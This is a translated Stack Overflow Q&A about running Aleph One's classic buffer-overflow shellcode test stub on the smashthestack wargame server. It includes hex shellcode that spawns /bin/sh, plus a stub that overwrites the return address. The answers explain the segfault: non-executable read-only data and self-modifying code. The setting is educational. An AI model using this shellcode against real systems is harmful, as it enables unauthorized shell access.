简单的缓冲区溢出和shellcode示例

时间:2013-12-06 18:36:49

标签: c security buffer-overflow shellcode

我一直试图运行Aleph One的示例以获得BOF并打开shell。

这是Aleph One论文:http://insecure.org/stf/smashstack.html

这是简单的C代码(几乎位于论文的一半):

char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main() {
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;
}

现在,我尝试在SSH bash中运行此程序,但没有成功。

由于运行后没有任何反应,我猜测我只是没有写回程地址,所以我使用GDB来查看ret变量和实际返回地址之间的偏移量,并意识到它是7。

为了检查自己,我尝试在3,4,5,6中增加ret,事实上,只有当我将第10行更改为:

   ret = (int *)&ret + 7;

我遇到了分段错误。

然而,我不明白为什么没有打开bash而我得到了这个错误。

P.S我正在使用'logic smashthestack'SSH服务器(其中一个挑战是BOF):http://logic.smashthestack.org:88/

感谢帮助者。

2 个答案:

答案 0 :(得分:5)

来自http://blog.markloiseau.com/2012/06/64-bit-linux-shellcode/

  

此存根是经典shellcode测试存根的更新版本,只有一个关键区别:在新存根中,shellcode在编译时是#defined,因此可以通过gcc的预处理器直接放入主程序中。

     

这是必要的,因为随着时间的推移,Linux和GCC对可执行文件的哪些部分可以包含可执行代码(与非可执行变量相对)变得更加谨慎。传统版本的程序不适用于较新版本的Linux:

     

经典的shellcode c stub将在较新的系统上生成段错误    因为shellcode []字符数组存储在显式中   ELF文件的不可执行的.rodata部分。当电脑    将非可执行数组重新编译为函数并尝试运行它,   程序崩溃

。    还要注意编写shellcode的这些更改:

//old way
char[] shellcode ="shellcode..."
//new way
#define SHELLCODE "shellcode

答案 1 :(得分:1)

问题在于shellcode。 shellcode是一个const字符串,因此您无法修改它。如果你看看shellcode的反汇编,那么你可以看到代码试图修改字符串。

您可以尝试分配内存并在那里分配shellcode。可能仍然无法工作,具体取决于操作系统,因为您可能需要修改保护设置以允许在分配的memorxy块中运行代码。

自我修改的原因是执行shell的动作最后需要一个0字节,但这不能包含在字符串中,因此代码必须先修补它才能执行shell。这就是SIGSEGV的原因。

您的问题几乎与此问题相同:Assembly Code keep showing segment fault

shellcode基本相同。不完全,但遵循相同的原则。

<强>更新

为了更好地解释这一点,如果BSS段是可写的,该漏洞将起作用。根据C标准,const声明这样的字符串。写入静态字符串是未定义的行为,因此它可以工作或不工作。